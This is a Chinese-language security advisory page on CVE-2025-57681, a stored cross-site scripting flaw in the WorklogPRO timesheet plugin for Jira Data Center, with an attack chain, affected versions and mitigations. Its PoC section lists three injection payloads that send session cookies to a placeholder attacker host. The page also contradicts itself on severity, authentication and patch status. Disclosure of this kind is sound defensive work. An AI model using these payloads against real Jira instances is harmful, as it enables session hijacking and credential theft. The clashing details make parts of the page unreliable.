IPBUF安全漏洞报告
English
CVE-2025-57681 CVSS 5.4 中危

CVE-2025-57681: Jira WorklogPRO插件存储型XSS漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2025-57681
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WorklogPRO - Timesheets for Jira (Jira Data Center)

相关标签

存储型XSSCVE-2025-57681Jira Data CenterWorklogPRO插件Atlassian跨站脚本攻击工时管理插件CVSS 5.4中危漏洞

漏洞概述

CVE-2025-57681是Atlassian Jira Data Center平台上WorklogPRO - Timesheets for Jira插件中的一个高危安全漏洞。该漏洞为存储型跨站脚本攻击(Stored XSS),允许攻击者在Jira issue的summary字段中注入恶意HTML或JavaScript代码。当其他用户查看包含恶意payload的issue时,攻击脚本将在受害者浏览器中执行,从而窃取会话cookie、劫持用户账号或进行其他恶意操作。由于该payload存储在服务器端,所有访问该issue的用户都会受到攻击影响,因此具有广泛的攻击面和严重的潜在危害。WorklogPRO是一款广泛应用于企业Jira环境的时间追踪和工时管理插件,其漏洞影响了大量使用该插件进行项目管理和时间记录的Jira Data Center部署实例。漏洞影响版本为4.23.6-jira10之前和4.23.5-jira9之前的版本,官方已在后续版本中修复了此安全问题。鉴于XSS漏洞的隐蔽性和广泛影响范围,建议所有使用受影响版本插件的用户立即采取修复措施。

技术细节

该存储型XSS漏洞源于WorklogPRO插件在处理issue summary字段时缺乏充分的输入验证和输出编码。当用户在Jira中创建或编辑issue时,攻击者可以在summary字段中注入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。由于插件未对用户输入进行安全过滤,该payload被直接存储在数据库中。当其他用户通过WorklogPRO插件查看相关issue的时间日志或报表时,插件会从数据库读取并渲染summary字段内容,导致恶意脚本在用户浏览器上下文中执行。攻击者可利用此漏洞窃取受害者的Jira会话cookie、凭据或敏感数据,甚至可以通过构造更复杂的payload实现横向移动,访问其他系统资源。攻击成功的关键条件包括:攻击者能够创建或编辑issue(即使是低权限用户也可能满足),以及受害者通过WorklogPRO插件界面查看包含恶意payload的issue。修复方案需要在插件的数据输入层添加白名单过滤,并在数据输出层实施严格的HTML实体编码。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Jira环境是否安装WorklogPRO插件及其版本信息
STEP 2
初始访问
攻击者获取Jira用户账号(即使是低权限用户),获得创建或编辑issue的权限
STEP 3
载荷注入
攻击者在issue的summary字段中注入恶意JavaScript代码,payload存储到数据库
STEP 4
触发条件
受害者通过WorklogPRO插件查看包含恶意payload的issue或相关报表
STEP 5
代码执行
恶意脚本在受害者浏览器中执行,可窃取cookie、会话令牌或执行其他恶意操作
STEP 6
权限提升/横向移动
攻击者利用窃取的凭据访问其他系统资源或提升在Jira环境中的权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-57681 Stored XSS PoC // Target: WorklogPRO - Timesheets for Jira (Jira Data Center) // Attack Vector: Inject malicious JavaScript in issue summary field // Step 1: Create or edit an issue in Jira // Step 2: Insert the following payload in the summary field: const xssPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`; // Alternative payloads: const payload2 = `<svg/onload=fetch('https://attacker.com/log?c='+btoa(document.cookie))>`; const payload3 = `<script>new Image().src='https://attacker.com/cookie?data='+document.cookie;</script>`; // Step 3: Save the issue with the malicious summary // Step 4: When any user views the issue through WorklogPRO plugin, // the XSS payload will be executed in their browser context // Example exploitation scenario: const exploitScenario = { target: 'Jira Issue Summary Field', method: 'Stored XSS via WorklogPRO plugin', impact: ['Session hijacking', 'Credential theft', 'Data exfiltration'], prerequisites: 'Attacker needs Jira user account with issue creation/edit rights' }; console.log('PoC for CVE-2025-57681'); console.log('Payload:', xssPayload);

影响范围

WorklogPRO Timesheets for Jira < 4.23.6-jira10
WorklogPRO Timesheets for Jira < 4.23.5-jira9

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 限制低权限用户创建和编辑issue的权限,只允许受信任的管理员或高级用户进行操作;2) 在Jira前端实施XSS过滤插件或修改现有WAF规则;3) 启用浏览器的XSS防护功能;4) 监控和审查所有issue summary字段的变更日志;5) 考虑暂时禁用WorklogPRO插件直到完成安全更新;6) 加强用户安全意识培训,提醒用户不要点击来源不明的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表